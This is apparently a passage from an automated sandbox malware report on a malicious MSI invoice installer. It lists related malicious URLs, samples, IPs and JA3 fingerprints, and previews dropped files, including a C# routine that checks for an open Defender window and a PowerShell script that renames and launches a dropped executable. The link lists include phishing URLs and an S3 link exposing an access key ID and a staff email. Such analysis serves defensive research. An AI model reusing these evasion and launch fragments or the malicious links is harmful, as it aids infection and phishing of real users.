https://www.google.gr/url?url=https://pniuvlpkjqhdwff&exox=rvhqtix&eaydny=ysf&gzfds=lqrwiz&nci=qtwmzch&iccvb=yhwtsp&vtqs=avtajyu&oagvzgp=irlq&mvdoc=embwrj&yylmwei=tmn&mntt=qqcvuhkd&lkydbjfiod=izjcgyubqc&q=amp/anre6g6.j%c2%adh%c2%adhn%c2%adt%c2%addd%c2%adsm%c2%ado%c2%admcw%c2%adw%c2%adgu%c2%adno.com%e2%80%8b/99twfh3p8&gcyx=ncgobia&yfevoul=wtloixvv&hukl=qfkmtky&nlhwnbr=bwkoiopy&eqfw=bmcpntp&vlvegw=zdbpajeyq&ghrv=kcdfwrl&kyddme=myxsnvtxf&asco=mgumegd&dvvibf=hzfexefeg&osme=bdyguyp&njtjvd=bkelfwmxg&bxrb=ltpyjsv&girpat=lswjchrwc&qapj=wwwowde&vahefc=ghseyzgyf&ahaj=zfqmkuo&pfsfeu=ttucmtamu&sffs=oxaajjo&hbwhgy=mgfzglmmo&bdwl=oifsufx&befsmv=jskhtmnps&sfjy=powmsnr&zixjqp=jyttdwbmu&fzkp=hztiqjm&jmzuvc=ufyoeqgfi&zujr=jxtbdtg&plvxoh=fxumxxddw&nkin=ykbzrdh&lghzli=agvbttfta&suag=ioudcjc&zpptpx=dxacgdnox&hmfz=yueoymp&fnshpz=wgayslegy&gjtg=qcjjozv&rymask=thcxzfpca&zcgn=ywtonnx&kqrpog=kgfvcqswk&imwa=wlvocxf&ggqznt=budaflbgp&zjhr=zscgach&esrhmq=qjdngljnl&ppoz=nhwzlik&zejsqg=vnvpaymyl&dnqb=kjswpyt&kunwbg=pzauoqliz&bqlz=qabnsnu&dlfnsr=dakxdfzen&uffg=uwnswdr&ywjevz=bnvkfavcb&rrob=celdmvn&czdusr=sjfjazfqw&ipgr=exylggn&fltcvh=sdfsricvf&byfs=apntxot&javhwh=nyphchiee&owbh=haflpez&mbyvqw=pdzpxeedx&ejov=taakkyw&oylsfz=qnzuplrnz&hxrq=ovegslq&duqjcc=pjwdpyvec&uoec=pjouxrb&eiezwk=okbkttiao&knji=kcmfaqe&qmathj=vymnqrvxa&gajs=riewukz&czxhiu=uysriqpma&avwe=gssbenk&jnwgpb=iqkroelwx&sjyt=zhxfzpx&liqoqs=bbajxgpxm&dqqu=ztzooam&haagcu=gkijlwgjy&mnsq=uervedi&yckhpb=ngqrbrqpc&pkne=nwisdfz&eqsiqu=mlrhvpuav	Get hash	malicious	Unknown	Browse	185.15.58.224
	Codale Electric Supply Health Insurance Benefits Open Enrollment Plan.html.shtml	Get hash	malicious	Unknown	Browse	185.15.58.240
	https://link.mail.beehiiv.com/ls/click?upn=u001.R74aO5UQ-2FrUOGP4XJV77OKQT1NAU9BwQ6OP1zvOna2j3qRTjcdTYAqprTXNbU1vrKPOdnlpDlbO1ohrNKAkzUmdLI4l19yBq8cKvYb8dsNKK6IsO0404WADpCgMHJK-2BM7ePj1I7t27EBUyeaiqRuwqngyTjrFDMwzKEm6VF8ExY0iFbvMWKjDk4Y7upRdq5sSY4nXTsFeij7Q5E2ydkS65V1Y39RLDjY80Udth17NgVFYK9r3RCAH09UYk2CIjxFd5I9_j6TOopR0rmB-2FAe-2FAtMIxxpgCP1uVymDZ2Ai3kvTmy94R9Cva2dqhTbcrX0jwqqIbWEZoY75Qxv0d-2Fi-2BJ58G8TpFK32hJ3Y6KvVmw024fgWikUvw7JSpe1p1AxJouHIwzH-2B4WSy6DMsQxGcoT2TOfGxh3ObD4vtK9CAXwy7Cjhf2-2FwG571nv3bia-2F44CMLr9lsCQcs3SwvYIDQ24Nq6VfvIfUFJ9nNyI7I5MS5J8-2Bg5rLnAjlWoLmJBScJaNhqffuqYHWE3BYOKju8i7o1wD6Pw-2Fs92sFC2Mh7Oi9oheY1ZKD714qAu5jG5ZYhyhfMgCcuyNvp15ZI4Srd3AOfDL686JQJNBXoqAuLGHc3y6muY0dxN9oNJrp8vksovnjs-2Be8S30MoUUfcAPp8UPZjIomKd3EBkrVIa3k8AgkBS-2BZFp3F1x23PdTLWCU-2BZmxkQxWt	Get hash	malicious	Unknown	Browse	185.15.58.240
	https://link.mail.beehiiv.com/ls/click?upn=u001.8ULyQR0JYqJFmtAcEKOwZJrtx6Pg-2FFIdL75Xr8cQplPy1BwMP6K04UCj8Y6BqsqIO5QCbkskm97LegF2duW8h-2B7y0wF2E-2BDZNcbzCPIVszT1GD6EOVy0YRZV55MI3rlD0kPZAiaJ0IK1-2FMU2lgPk2Kii32mX86fkDuIDK9GPx4-2FfuyI6JAqdMrtQqIbvs2W-2F-2BIG8MDRxPU9Yn0AWIxVL0SnsGrwak4PiVtMHHZHgth0QvNVoRM6ZTwXBytJNkde3jx-2F-2Fb-2FvT1Ap71VQ1QzJzKA-3D-3DWb3t_K8Qrv2qBC50DA374Af0scmFKIlSM-2Bv5ewezTCdQ-2FHdeUjmHtY3NrJD1TBTC8B4zB5HyIT-2F4sQexLT4eDcDNpHTw1Uv6zyerCF2l6Qv2QnUXIFi1vgFIVZbyXm-2Fb4OHwN5YbpoyTJNqIBeZHgSrlo7M6ZizbyF9nigOzGQDcMUgYHM7Aiblgmi6ZZqeS-2F4eQTcSMrquYcXkgDnpAgjrAXvqys7q9tGDujdSY7rWu7e2v-2B8ZqylkvKbnTnsoe7xpWX2CCdK7-2Ffs69cITr47FLMcG63ztEATsgzr65zgaz1vTV637p-2F932w2jeo6Q6M5CBc8nQ-2BvnbtLXdWgwvebkWZFeKaDHxfFr3YWnPUF1sWMZ4N238r82opSIcsBiifBW-2Fr-2FX6QykqaNBEmm5OGxvGQOo2rDQ3a45-2FO4v08XQIdNTDu5CkpvASiHt5MqJZ9OHD4	Get hash	malicious	Unknown	Browse	185.15.58.240
	http://www.pej935.pro/Ume-ZD~Hl_1c0e5b67/C/	Get hash	malicious	Unknown	Browse	185.15.58.240
	Carisls Open Benefits Enrollment.eml	Get hash	malicious	unknown	Browse	185.15.58.240
	https://webradiojaguar.net/FNB-POP.pdf	Get hash	malicious	Unknown	Browse	185.15.58.224
	https://hujalconcretos.com/npp	Get hash	malicious	Unknown	Browse	185.15.58.240
OVHFR	nshkarm7.elf	Get hash	malicious	Mirai	Browse	66.70.211.36
	nsharm7.elf	Get hash	malicious	Mirai	Browse	51.195.199.38
	arm7.elf	Get hash	malicious	Mirai	Browse	8.33.207.91
	nshkarm5.elf	Get hash	malicious	Mirai	Browse	51.161.159.84
	NotaFiscalOnline.ClientSetup.ex#.exe	Get hash	malicious	ScreenConnect Tool	Browse	51.89.135.228
	NotaFiscalOnline.ClientSetup.ex#.exe	Get hash	malicious	ScreenConnect Tool	Browse	51.89.135.228
	la.bot.sparc.elf	Get hash	malicious	Mirai	Browse	198.27.68.45
	nshkmips.elf	Get hash	malicious	Mirai	Browse	51.195.151.42
	https://ho8d1o.s3.amazonaws.com/index.html?AWSAccessKeyId=AKIAWPPO57XS4BTHJAEO&Signature=h4n%2BY6bT0YHF44DbJkmJeHwDnn0%3D&Expires=1734860434#mandy.pullen@peterborough.gov.uk	Get hash	malicious	Fake Captcha	Browse	37.59.203.111
	https://p.placed.com/api/v2/sync/impression?partner=barkley&plaid=0063o000014sWgoAAE&version=1.0&payload_campaign_identifier=71700000100870630&payload_timestamp=5943094174221506287&payload_type=impression&redirect=http%3A%2F%2Fgoogle.com%2Famp%2Fs%2Fgoal.com.co%2Fwp%2Fpayment	Get hash	malicious	HTMLPhisher	Browse	144.217.96.200
EMBANK-ASRU	Y7KU3yvGQ6.dll	Get hash	malicious	Unknown	Browse	192.124.216.14
	Y7KU3yvGQ6.dll	Get hash	malicious	Unknown	Browse	192.124.216.14
	Fatura931Pendente956.pdf761.msi	Get hash	malicious	Unknown	Browse	192.124.216.14
	https://marketing.edinburghairport.com/4QNA-A60M-5IWCT9-JVKO0-1/c.aspx?_externalContentRedirect=https://link.sbstck.com/redirect/43698733-83ea-4129-b836-e9d43d1ad5ed?j=eyJ1IjoiNDltdXZ6In0.CxolcWPhPGrBgw3rA0jd5lscc71sjQLfIOZNSPA48EY	Get hash	malicious	Unknown	Browse	192.124.216.133
	https://marketing.edinburghairport.com/4QNA-A60M-5IWCT9-JVKO0-1/c.aspx?_externalContentRedirect=https://link.sbstck.com/redirect/43698733-83ea-4129-b836-e9d43d1ad5ed?j=eyJ1IjoiNDltdXZ6In0.CxolcWPhPGrBgw3rA0jd5lscc71sjQLfIOZNSPA48EY	Get hash	malicious	HTMLPhisher	Browse	192.124.216.133
EMBANK-ASRU	Y7KU3yvGQ6.dll	Get hash	malicious	Unknown	Browse	192.124.216.14
	Y7KU3yvGQ6.dll	Get hash	malicious	Unknown	Browse	192.124.216.14
	Fatura931Pendente956.pdf761.msi	Get hash	malicious	Unknown	Browse	192.124.216.14
	https://marketing.edinburghairport.com/4QNA-A60M-5IWCT9-JVKO0-1/c.aspx?_externalContentRedirect=https://link.sbstck.com/redirect/43698733-83ea-4129-b836-e9d43d1ad5ed?j=eyJ1IjoiNDltdXZ6In0.CxolcWPhPGrBgw3rA0jd5lscc71sjQLfIOZNSPA48EY	Get hash	malicious	Unknown	Browse	192.124.216.133
	https://marketing.edinburghairport.com/4QNA-A60M-5IWCT9-JVKO0-1/c.aspx?_externalContentRedirect=https://link.sbstck.com/redirect/43698733-83ea-4129-b836-e9d43d1ad5ed?j=eyJ1IjoiNDltdXZ6In0.CxolcWPhPGrBgw3rA0jd5lscc71sjQLfIOZNSPA48EY	Get hash	malicious	HTMLPhisher	Browse	192.124.216.133

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.15.58.240 91.134.82.79
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.15.58.240 91.134.82.79
	B06 Chair + Blocker.exe	Get hash	malicious	Unknown	Browse	185.15.58.240 91.134.82.79
	B06 Chair + Blocker.exe	Get hash	malicious	Unknown	Browse	185.15.58.240 91.134.82.79
	2BI8rJKpBa.exe	Get hash	malicious	Stealc, Vidar	Browse	185.15.58.240 91.134.82.79
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.15.58.240 91.134.82.79
	dF66DKQP7u.exe	Get hash	malicious	XWorm	Browse	185.15.58.240 91.134.82.79
	2QaN4hOyJs.exe	Get hash	malicious	XWorm	Browse	185.15.58.240 91.134.82.79
	YgJ5inWPQO.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	185.15.58.240 91.134.82.79
	P0RN-vidz.Client.exe	Get hash	malicious	ScreenConnect Tool	Browse	185.15.58.240 91.134.82.79

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Windows\Installer\MSI125.tmp	Fatura931Pendente956.pdf761.msi	Get hash	malicious	Unknown	Browse
C:\Windows\Installer\MSI124C.tmp	Fatura931Pendente956.pdf761.msi	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Config.Msi\3ffef1.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	301913
Entropy (8bit):	6.569412134160479
Encrypted:	false
SSDEEP:	3072:LCNrkQH7mY7iccAP4Yu3J5W7MZOGzs9B+JNc1F07KcnxGYu+Ueui38C2oSltrfVB:LAkA7iA4gM0TgNcAecnxGYu+scBQf4by
MD5:	F85D16FB7F4C195CFB329AE64E2DC09E
SHA1:	89C093D1E4D2A3BDFB3557BE7FBE0CD4ACAE5F4F
SHA-256:	38CD88EF2567282FA51038D65999223D913BD65A50E483BFAF7CA2E9FA2EF8C5
SHA-512:	8F9144781A2BD534E69D143D2E7ED5FC19B3EC056AECBA45EFAD5049B0BE6453DDD7853764065426EA8524AFACA668C15D7EECA3081A9950989EB2A3381CAC8A
Malicious:	false
Preview:	...@IXOS.@.....@...Y.@.....@.....@.....@.....@.....@......&.{5C6353ED-1D1D-4B1D-98DF-773281977790}..Fatura..Fatura227Pendente576.pdf674.msi.@.....@..`!.@.....@........&.{D73B406C-DCB8-4CFF-B5DD-A47A6ADEF626}.....@.....@.....@.....@.......@.....@.....@.......@......Fatura......Rollback..Rolling back action:....RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{D2154826-F81C-429F-9546-0615974E92B9}&.{5C6353ED-1D1D-4B1D-98DF-773281977790}.@........WriteRegistryValues..Writing system registry values..Key: [1], Name: [2], Value: [3]$..@......Software\Fatura\Fatura...@....(.&...Version..33.96.25.98'.&...Path-.C:\Users\user\AppData\Roaming\Fatura\Fatura\....aaa1....bK...b.@......8...MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........B..U#.U#.U#.N.D.L#.N.p..#.N.q..#.\[I.Z#.U#..#.N.u.H#.N.A.T#.N.@.T#.N.G.T#.RichU#.........................PE..L....

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x3573b598, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221767603263667
Encrypted:	false
SSDEEP:	1536:hSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:haza/vMUM2Uvz7DO
MD5:	8B3465E1961544BEC0E9461E03A6CD88
SHA1:	71B1C389923AC7642521FFD45A9808DFF31DCEC7
SHA-256:	3469CF53A44115C11337171B7AE53EADC8C719D65671456DB69E45FD9DBC60FD
SHA-512:	554FDDBA18B1CD3A1CDF5FDCEF7F02F962B38D05FB80F82910C04D42D05B5734377DDACA0A3A6DC77C443AF9C435333B65F84480BF29741625DCFA03FA3616C4
Malicious:	false
Preview:	5s..... .......A.......X\...;...{......................0.!..........{A..(...\|].h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{....................................90.(...\|.......................(...\|...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	9434
Entropy (8bit):	4.928515784730612
Encrypted:	false
SSDEEP:	192:Lxoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smAH:srib4ZIkjh4iUxsT6Ypib47
MD5:	D3594118838EF8580975DDA877E44DEB
SHA1:	0ACABEA9B50CA74E6EBAE326251253BAF2E53371
SHA-256:	456A877AFDD786310F7DAF74CCBC7FB6B0A0D14ABD37E3D6DE9D8277FFAC7DDE
SHA-512:	103EA89FA5AC7E661417BBFE049415EF7FA6A09C461337C174DF02925D6A691994FE91B148B28D6A712604BDBC4D1DB5FEED8F879731B36326725AA9714AC53C
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	1356
Entropy (8bit):	5.281250765966739
Encrypted:	false
SSDEEP:	24:3AB7pREWSKco4KmBs4RPT6BmFoUebIKomjKcmZ9t7J0gt/NKo+hHr8Hi8tDNlD:qnXSU4y4RQmFoUeWmfmZ9tK8NTsH6tLD
MD5:	8176B17D372F461904BA0C7B437851A8
SHA1:	2F7327E3BAE5764FE873A17ACB5191D5F4C9CD33
SHA-256:	8316C757A6450BB5696513F5F7000843858AB7929221365DF9AB064047B6D906
SHA-512:	1FA099B5DA9A6790E643755B6CB6D633991694A5D6D57AE4984C532AA77E55DECBEAB74D4F21B445495B77232EFACF01962E581BA6ADA867F6C830D2CD6BBD13
Malicious:	false
Preview:	@...e...........)...................................@..........8...................\|..K........).......CustomMarshalersH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g*(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Commands.Utility...D.......

C:\Users\user\AppData\Local\Temp\2xgfswae.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1279
Entropy (8bit):	4.871680908847123
Encrypted:	false
SSDEEP:	24:JodkrKkkrK1jjXwZTLBntjbH5OE/2LVUcTLsAt+26a7YeL8rpe:JomrKtrKFjXwZZtjbHCUPAt+2b0eLcpe
MD5:	0DB2CC7E3DAD18033D3D2B02D5BA990C
SHA1:	7AD4807C8D51F6A6DF8453EABD4236C0C543ED9C
SHA-256:	CCE2DA8B5247A9A738EB2F02EEDDC80ECFE5515FA072D2DFB40FC3000F317BE6
SHA-512:	1AF70815FB52DF06E67DF87A5D6A5D7D0A3A40B899B729E282182E344FE9BA8E445BE3697F6A5FE391F3D498A2FC4D79841ED23F3D547D35340E201BA3593517
Malicious:	false
Preview:	.using System;..using System.Runtime.InteropServices;....public class User32 {.. [DllImport("user32.dll", SetLastError = true)].. [return: MarshalAs(UnmanagedType.Bool)].. public static extern bool IsWindowVisible(IntPtr hWnd);.... [DllImport("user32.dll", SetLastError = true)].. [return: MarshalAs(UnmanagedType.Bool)].. public static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, IntPtr lParam);.... [DllImport("user32.dll", CharSet = CharSet.Unicode)].. public static extern int GetWindowText(IntPtr hWnd, System.Text.StringBuilder lpString, int nMaxCount);.... public delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam);.... public static bool IsDefenderWindowOpen() {.. bool isOpen = false;.... EnumWindows((hWnd, lParam) => {.. System.Text.StringBuilder windowText = new System.Text.StringBuilder(256);.. GetWindowText(hWnd, windowText, windowText.Capacity);.. string title = windowText.ToString();....

C:\Users\user\AppData\Local\Temp\2xgfswae.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (348), with no line terminators
Category:	dropped
Size (bytes):	351
Entropy (8bit):	5.250343402802544
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2wkn23fFhzxs7+AEszIwkn23fFs:p37Lvkmb6KRf9hWZEif9s
MD5:	03D3A6AAFA1EC315D2AFBD7D3323282D
SHA1:	ED3BB4FF6D5CFE5BF1B88E3451DD8B0060CA70B1
SHA-256:	27F8049C8E287653CF638EA3D4E9C9FDDD995C4DA2E424D75CD65A6877AA0266
SHA-512:	B35BFEDC4D9CF8B63622C0CE8EA225494D3BDEB0FF5C54FBB0D1CA2DB0027A48D4D10350AA21A7A72EE16B699002E7BFF07B5F053C8F49B2CC2BBDF751C454CB
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\2xgfswae.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\2xgfswae.0.cs"

C:\Users\user\AppData\Local\Temp\2xgfswae.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	3.576437958025038
Encrypted:	false
SSDEEP:	48:6qCwCFYXVWkPGIoxrc1gp/dFSjSowcaZjv1JvRJr+nc1ul5a3lq:JCprSgplFSesahr+f7K
MD5:	60EE29040829E465238663E12765283B
SHA1:	E979836CCEE4315B6415FDFBA102334A6BD3FE4A
SHA-256:	F5707EF97DEAB4E2B7CC5E60BD272022EFE9E6516151D63E1D6005BC471D776A
SHA-512:	BC845E6A7CA4F1606CB571573046BBC70854AE252F6F36F60D9FAD7B349ED4BC1BA4511778D92FD4F2C12AE12B4787777F0D168641466F7CEE05587EC1DE524C
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....fg...........!.................'... ...@....... ....................................@..................................'..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H........ ................................................................(.....0..J....... ....s........o....(....&.o......r...po....-..r#..po....,...(....}.........0..+.......s.......}...........s....~....(....&.{......(....*.BSJB............v4.0.30319......l.......#~..........#Strings........P...#US.........#GUID...........#Blob...........W5........%3............................................................................>.7...E.7.....s.....7.....7......... .......

C:\Users\user\AppData\Local\Temp\2xgfswae.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (427), with CRLF, CR line terminators
Category:	modified
Size (bytes):	848
Entropy (8bit):	5.31801797865939
Encrypted:	false
SSDEEP:	24:AId3ka6KRfoEifnKax5DqBVKVrdFAMBJTH:Akka6CoEunK2DcVKdBJj
MD5:	16E8438A3564B1A2830B00CBAA92D8FD
SHA1:	32FE7E04BD3103254214E00AE6AC34E576674F77
SHA-256:	1E80194BF2A73E8CA77F3F91FF211F1A301A4FEB858F444DFAC8FF4255EBE245
SHA-512:	05DF2DFD48F768619C7F9C6001F9517827FF0BC9AE5BFC3FE47FD165276B8FF5703C76E3DA47435989F0096C004D9CC5E65C5480358ADADD28E1B70C5AAE9EEB
Malicious:	false
Preview:	.C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\2xgfswae.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\2xgfswae.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\CSC1F1FEE1B60354EE49FE3D23A31B1244.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.1017925434098226
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gry/zak7YnqqscPN5Dlq5J:+RI+ycuZhN5akS3PNnqX
MD5:	E4DE398FAD0350CC1513480E0B4C5023
SHA1:	014AEBF2072C908C67C7D957949D17DD3AD5AC05
SHA-256:	37F4C3D7A31E3F7122E6C8E5E5CEA2EB3DDFF5244C3A5D841F60F2E05D73165A
SHA-512:	453DCA13522D3110ED2F68979E48249AB178FA57C1DC80A17D152701994109E9C72BD6D3E821C25D9CB1507B675063D95EFAE844DC27E87B9F7CFE0687B67C47
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...2.x.g.f.s.w.a.e...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...2.x.g.f.s.w.a.e...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\Executar01aa.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	682
Entropy (8bit):	5.0050628635227445
Encrypted:	false
SSDEEP:	12:gRJuTjlFw5gKC4bM4ruT4mq1/Mkzgi1Mn94N+W:gRkhS59CggTqmk8Z9NW
MD5:	8A9E5AE4413D158DCC4C92CC25E9C1B5
SHA1:	1EEC255FB93EA0E0AD457C23340AC25D157F4D29
SHA-256:	3C9819448571BD4B0609BC13674EC5A33B79F8C5513AD2BF4E029895C571D160
SHA-512:	2B22ACE06F7A34C2877B59611212C62F81348841E5E982F25AF15E03BE2FD71B4DC4786EB9573B3C0EA33A539DC819ACE231037327E75E9101FC29393F9DF384
Malicious:	true
Preview:	.$folderPath = "C:\LocalNow\Extracted"....if (Test-Path $folderPath) {.. $filePath = Get-ChildItem -Path $folderPath -File \| Where-Object { $_.Name -eq "01aa" }.... if ($filePath) {.. $newFilePath = Join-Path -Path $folderPath -ChildPath "01aa.exe".. Rename-Item -Path $filePath.FullName -NewName $newFilePath -Force.. # Utilizar a vari.vel $env:UserProfile para garantir que o processo seja iniciado com o usu.rio atual.. Start-Process -FilePath $newFilePath -WorkingDirectory $folderPath -Credential (New-Object System.Management.Automation.PSCredential($env:USERNAME, (ConvertTo-SecureString "" -AsPlainText -Force))) -Wait.. }..}..exit..

C:\Users\user\AppData\Local\Temp\MSIffdb6.LOG

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	180562
Entropy (8bit):	3.756645895514929
Encrypted:	false
SSDEEP:	1536:Hhf/gNkZ6krAbjqIXS3YAZ+J1wdm7gaw3bdcX31tHSl7DdVLnrPp1G9ZWGnGVcQr:i3gv7c7S24jho63NEQc202rb
MD5:	1AE778638B5FBA2641D4764D0608A873
SHA1:	66ACB0B9A92B6B753844B44E1FA3F6B6514EC210
SHA-256:	B82684AB13FDDC5A7287F431FD0B5F7D8BA99A97BC530A609F822B000D964CA4
SHA-512:	B1F6C703F3B7BEE37A5722E0B7AE51B60A15AE5BC7F2AD1326E72691339574AE9967CD7076A13C16FB3526F23E2448167B000AFFF5CC8CABEF11F95B405FBBD4
Malicious:	false
Preview:	..=.=.=. .V.e.r.b.o.s.e. .l.o.g.g.i.n.g. .s.t.a.r.t.e.d.:. .2.1./.1.2./.2.0.2.4. . .0.2.:.3.9.:.5.7. . .B.u.i.l.d. .t.y.p.e.:. .S.H.I.P. .U.N.I.C.O.D.E. .5...0.0...1.0.0.1.1...0.0. . .C.a.l.l.i.n.g. .p.r.o.c.e.s.s.:. .C.:.\.W.i.n.d.o.w.s.\.S.y.s.t.e.m.3.2.\.m.s.i.e.x.e.c...e.x.e. .=.=.=.....M.S.I. .(.c.). .(.C.4.:.D.4.). .[.0.2.:.3.9.:.5.7.:.3.7.0.].:. .F.o.n.t. .c.r.e.a.t.e.d... . .C.h.a.r.s.e.t.:. .R.e.q.=.0.,. .R.e.t.=.0.,. .F.o.n.t.:. .R.e.q.=.M.S. .S.h.e.l.l. .D.l.g.,. .R.e.t.=.M.S. .S.h.e.l.l. .D.l.g.......M.S.I. .(.c.). .(.C.4.:.D.4.). .[.0.2.:.3.9.:.5.7.:.3.7.0.].:. .F.o.n.t. .c.r.e.a.t.e.d... . .C.h.a.r.s.e.t.:. .R.e.q.=.0.,. .R.e.t.=.0.,. .F.o.n.t.:. .R.e.q.=.M.S. .S.h.e.l.l. .D.l.g.,. .R.e.t.=.M.S. .S.h.e.l.l. .D.l.g.......M.S.I. .(.c.). .(.C.4.:.B.0.). .[.0.2.:.3.9.:.5.7.:.3.8.6.].:. .R.e.s.e.t.t.i.n.g. .c.a.c.h.e.d. .p.o.l.i.c.y. .v.a.l.u.e.s.....M.S.I. .(.c.). .(.C.4.:.B.0.). .[.0.2.:.3.9.:.5.7.:.3.8.6.].:. .M.a.c.h.i.n.e. .p.o.l.i.c.y. .v.a.l.u.e. .'.D.e.b.u.g.'. .i.s. .

C:\Users\user\AppData\Local\Temp\Pro12A8.tmp

Download File

